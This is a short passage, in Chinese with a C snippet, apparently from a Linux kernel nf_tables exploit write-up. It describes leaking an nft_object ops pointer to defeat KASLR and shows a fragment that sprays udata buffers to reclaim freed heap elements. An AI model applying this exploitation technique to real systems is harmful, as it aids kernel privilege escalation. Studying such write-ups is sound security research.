... `nft_object` 重叠,我们可以泄露 `->ops` 指针,并使用它来计算 KASLR slide。

```
[...]
// spray 3 udata buffers to consume elems A, B and A again
udata_spray(nl, 0xe8, 0, 3, NULL);
// check if overlap happ...